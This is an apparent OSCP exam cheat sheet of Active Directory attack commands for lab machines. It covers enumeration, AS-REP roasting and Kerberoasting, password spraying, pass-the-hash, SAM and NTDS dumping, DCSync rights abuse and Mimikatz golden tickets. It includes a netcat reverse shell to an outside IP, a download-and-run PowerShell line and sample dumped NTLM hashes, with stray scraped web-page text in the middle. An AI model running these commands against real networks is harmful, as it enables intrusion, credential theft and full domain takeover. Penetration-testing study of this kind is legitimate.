

Active Directory for OSCP

<https://whimsical.com/active-directory-YJFeAhW9GMtmLX4SWxKCCM> (Follow Mind map for nodes)

Enumeration

- net user
- net user /domain
- net user <username> /domain
- net group /domain

PowerView Enumeration

```
~~~~~
<# Get-NetLoggedOn
    This function will execute the NetWkstaUserEnum Win32API call to query
    a given host for actively logged on users.
#>
- Get-NetComputer | Get-NetLoggedon

<# Get-NetUser
Return all users or specific user objects in AD

    To only return specific properties, use
    "-Properties samaccountname,usnchanged,...". By default, all user objects for
    the current domain are returned.
#>
- Get-NetUser -UserName student107

<# Get-NetComputer
    Return all computers or specific computer objects in AD.
    To only return specific properties, use
    "-Properties samaccountname,usnchanged,...". By default, all computer objects
for
the current domain are returned.
#>
- Get-NetComputer
- Get-NetComputer -Unconstrained

<# Get-DomainShare
    Searches for computer shares on the domain. If -CheckShareAccess is passed,
    then only shares the current user has read access to are returned.
#>
- Find-DomainShare -CheckShareAccess -Domain svcorp.com -DomainController
10.11.1.20

<# Get-DomainOU
    Search for all organization units (OUs) or specific OU objects in AD.
#>

Get-DomainOU -Properties Name | sort -Property Name

#Get Kerberoastable SPNs
Get-NetUser -SPN | select serviceprincipalname

Request-SPNTicket -SPN "MSSQLSvc/DC.access.offsec" -Format Hashcat

#Get the count of all the Domain Admins in the domain
Get-NetGroup -AdminCount | select name,memberof,admincount,member | fl
~~~~~
```

Initial Access

SMB Shares

```
~~~~~
(kali㉿kali)-[~]
└─$ smbmap -R '\\' -H 10.10.10.100 -P 445
      smbmap -R '\\' -H 10.10.10.161 -P 445 -u svc-alfresco -p s3rvice
      smbmap -d active.htb -u svc_tgs -p <pass> -H <ip>
      proxychains smbclient \\\\172.16.240.83\\Windows -U 'medtech.com\\joe'

(kali㉿kali)-[~]
└─$ sudo smbmap -R
'Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE
\\Preferences\\Groups' -H 10.10.10.100 --download
'Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE
\\Preferences\\Groups\\Groups.xml'

crackmapexec smb <ip> -u <user> -p <pass>--shares
# Reading shares with authenticated User and Pass.
~~~~~
```

LDAP Search

```
# Finding Usernames
ldapsearch x -h ldap://<IP> -s base

ldapsearch -x -h <ip> -s base namingcontexts
ldapsearch -x -h <ip> -b 'DC = , DC = ' -s sub
```

Get User List

```
- crackmapexec smb <ip> -u '' -p '' --users #powerfull
- nmap --script smb-enum* -p445 10.10.10.161 (More user might show up in cme)
- ldapsearch -H ldap://10.10.10.161 -x -b "DC=htb,DC=local"
  '(objectClass=user)' sAMAccountName
- rpcclient -U '' 10.10.10.161 #powerfull
  - queryusergroups <RID>
  - querygroup <Group RID>
  - queryuser <RID>

- GetADUsers.py -all active.htb/svc_tgs -dc-ip <ip>
# Need Password
```

Scan Network

```
proxychains crackmapexec smb <IP_range>
```

```
└─$ proxychains nmap -sT -  
p80,443,135,139,445,21,53,22,23,389,636,3268,3269,25,5985,5986,3389,88,111,161,  
1433,110 172.16.224.83 -Pn
```

Low Hanging Fruit

Group Policy in SYSVOL

1. Group Policy Preferences is a collection of Group Policy client-side extensions that deliver preference settings to domain-joined computers running Microsoft Windows desktop and server operating systems.
2. These policies allowed them to set local accounts, and embed credentials for various purposes that may otherwise require an embedded password in a script. So when a new Group Policy Preference (GPP) is generated, a xml file (generally Groups.xml) with the configuration data, including any passwords associated with the GPP, is created in the SYSVOL share which are folders on domain controllers accessible and readable to all authenticated domain users.
3. The cpassword stored in XML file looks like:

```
└─$ cat Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml...
D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18
20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U"
newName="" fullName="" description="" cpassword="edBSHOWhZLTjt/
QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
changeLogon="0" noChange="1"
...
gpp-decrypt <hash>
```

Null Login

```
crackmapexec smb <ip> --shares -u '' -p ''  
smbmap -H <ip> -u '' -p ''  
smbmap -H <ip> -u ''  
  
rpcclient <ip> -U ''  
-> enumdomusers
```

We have User Name but no Password

ASREP Roast

```
ls /usr/share/doc/python3-impacket/examples
```

```
python3 GetNPUsers.py htb.local/ -usersfile user.txt -format hashcat -  
outputfile hashes.domain.txt
```

Password Spray

```
# Put finding password in password.txt
crackmapexec smb <IP> -u users.txt -p password.txt
proxychains crackmapexec smb 172.16.224.82 -u <each user in the domain> -H
hash.txt OR -P <Password>

#Dump PAssword Policy
crackmapexec smb --pass-pol 10.10.10.169

L-$ proxychains crackmapexec smb ips.txt -u yoshi -p Mushroom!
```

Valid Credentials

Kerberoasting

First Find SPN of the kerberoastable user (Powerview script)

```
- impacket-GetUserSPNs -request -dc-ip <dc-ip> <full domain>/<user>:<password>
- impacket-GetUserSPNs -no-preauth "<asrep_user>" -usersfile "<userlist.txt>" -
dc-host "<dc_ip>" "<domain>"/
- Rubeus.exe kerberoast

# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/
mgmt.domain.local

# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .
\kerberoast.csv -NoTypeInfoation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific
user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://
raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/
credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding
ASCII hashes.kerberoast
```

CrackHash

```
#Kerberos 5 TGS etype 23
hashcat -m 13100 -a 0 hash rockyou.txt
#Kerberos asrep 23
hashcat -m 18200 hash rockyou.txt
#NTLM (mimikatz sam dump, sekurlsa::logonpasswords)
hashcat -m 1000 hash <wordlist>
```

AttendanceHomeHomeCGI - Hackflask-adminHow do IexampleHash T XGitHubGitHubadminLTport 330HTB: ScGitHubAttendAttend

https://hashes.com/en/tools/hash_identifier

Kali ToolsKali DocsKali ForumsKali NetHunterExploit-DBGoogle Hacking DBOffSec

HashesHomeFAQDeposit to EscrowPurchase CreditsAPIToolsDecrypt HashesEscrowSupportEnglishRegisterLogin

Proceeded!
1 hashes were checked: 1 possibly identified 0 no identification

Pay professionals to decrypt your remaining lists
<https://hashes.com/en/escrow/view>

Possible Identifications: Decrypt Hashes
\$2y\$10\$FC0iMky4n5hCJx3cps6280d4wHt1kCLKm06VLobJNRig9ooHTkgjK - Possible algorithms: bcrypt \$2*\$, Blowfish (Unix)

SEARCH AGAIN

HASHES.COM
Support
API

DECRYPT HASHES
Free Search
Mass Search
Reverse Email MD5

TOOLS
Hash Identifier
Hash Verifier
Email Extractor
Hash to Password

ESCROW
View jobs
Upload new list
Manage your lists

Runas (Invoke-RunasCs)

Get that token authorization on windows so we can run bloodhound.

```
runas /netonly /user:active.htb\svc_tgs cmd
```

[RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs · GitHub](#)

```
Invoke-RunasCs svc_mssql trustno1 "cmd /c C:\xampp\htdocs\uploads\nc.exe -e  
cmd.exe 192.168.45.227 53"  
WORKS EVERYWHERE
```

BloodHound

```
Location /opt/BloodHound-linux-x64/resources/app/Collectors
```

```
sudo neo4j console
```

```
sudo ./BloodHound --no-sandbox
```

```
# On victim machine
```

```
Import-Module ./SharpHound.ps1
```

```
invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
```

```
.\sharp.exe -c all -d <domain>
```

Lateral Movement

Interactive Shell

```
impacket-psexec <domain>/<user>:<password>@<ip>  
impacket-wmiexec -hashes <hash> htb.local/administrator@<ip>
```

RDP

```
xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution
```

to share a local folder as a share

```
xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:usr/share/windows-resources,share
```

Win-RM

Win-RM

```
# Port 5985 - open  
evil-winrm -i <ip> -u <user> -p <password>
```

Pseudo-Shell

```
- atexec.py <domain>/<user>:<password>@<ip> "command"  
- smbexec.py <domain>/<user>:<password>@<ip>  
- psexec.py <domain>/<user>:<password>@<ip>  
- wmiexec.py <domain>/<user>:<password>@<ip>  
- dcomexec.py <domain>/<user>:<password>@<ip>  
- crackmapexec smb <ip_range> -u <user> -d <domain>  
- crackmapexec smb <ip_range> -u <user> -d <domain> -local-auth
```

#For psexec write ADMIN\$ writeable shares in the machine with powerview scripts

Pass-The-Hash [psexec, impacket, CME]

Pass-The-Hash [psexec, impacket, CME]

```
- crackmapexec smb 192.168.154.171 -u 'ted' -d 'exam.com' -H ':31aa99ebd6ea4b6d07051acfd48efa35' --shares

- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5" exam.com/
zensvc@192.168.154.170
# Try without DOMAIN NAME ALSO
- impacket-psexec -hashes ":d098fa8675acd7d26ab86eb2581233e5"
zensvc@192.168.154.170

- evil-winrm -i 192.168.154.170 -u zensvc -H d098fa8675acd7d26ab86eb2581233e5
```

Credential SAM dumping

```
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

secretsdump.py -sam SAM -system SYSTEM LOCAL

└─(alien@world)-[~/PWK2023/oscpb/192.168.224.147]
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Target system bootKey: 0x8bca2f7ad576c856d79b7111806b533d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::
tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::
[*] Cleaning up...
```

[Dumping Credentials – SAM File Hashes - Juggernaut-Sec](#)

Permission Move

DC Sync

Port 49667, 445, 135 is used for DC Sync attack

Enumeration (PowerView)

Permission needed for DCSync

1. Replicating Directory Changes ([DS-Replication-Get-Changes](#))
2. Replicating Directory Changes All ([DS-Replication-Get-Changes-All](#))
3. Replicating Directory Changes In Filtered Set ([DS-Replication-Get-Changes-In-Filtered-Set](#)) (this one isn't always needed but we can add it just in case)

```
Find-InterestingDomainAcl -ResolveGUIDs | ?  
{$_ .IdentityReferenceName -eq 'leon'}
```

One-Liner that will transfer our `owned user` to `"Exchange Windows Permissions"` and we become part of the `DCSync` and `WriteDacl` permissions and then fetch hash with [secretsdump.py](#)

```
# Toss up PowerView before running the One-Liner that will give us the DCSync  
rights.  
Add-DomainGroupMember -Identity 'Domain Admins' -Members wario; $username =  
"medtech.com\\wario"; $password = "Mushroom!"; $secstr = New-Object -TypeName  
System.Security.SecureString; $password.ToCharArray() | ForEach-Object  
{ $secstr.AppendChar($_) }; $cred = new-object -typename  
System.Management.Automation.PSCredential -argumentlist $username, $secstr;  
Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'wario' -  
TargetIdentity 'medtech.com\\Domain Admins' -Rights DCSync  
  
# Check if user got added to the group with GenericAll Permission  
net group "Exchange Windows Permissions"  
secretsdump.py svc-alfresco:s3rvice@<ip>  
# Passing the hash  
wmiexec.py -hashes <hash> htb.local/administrator@<ip>
```

Reference:

[HTB: Forest | Oxdf hacks stuff](#)

Mimikatz

```
- privilege::debug
- sekurlsa::logonpasswords
- sekurlsa::tickets
- sekurlsa::tickets /export
- lsadump::sam
- kerberos::purge
- kerberos::list
```

#RC4 can be ntlm hash

```
- kerberos::golden /user:zensvc /domain:exam.com /
sid:S-1-5-21-88558181-3850747640-3669402957 /target:dc02.exam.com /
service:HTTP /rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
```

#overpassthehash

```
- sekurlsa::pth /user:jeff_admin /domain:corp.com /
ntlm:e2b475c11da2a0748290d87aa966c327 /run:PowerShell.exe
```

NTDS.dir cracking with SYSTEM

```
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL  
-outputfile ntlm-extract
```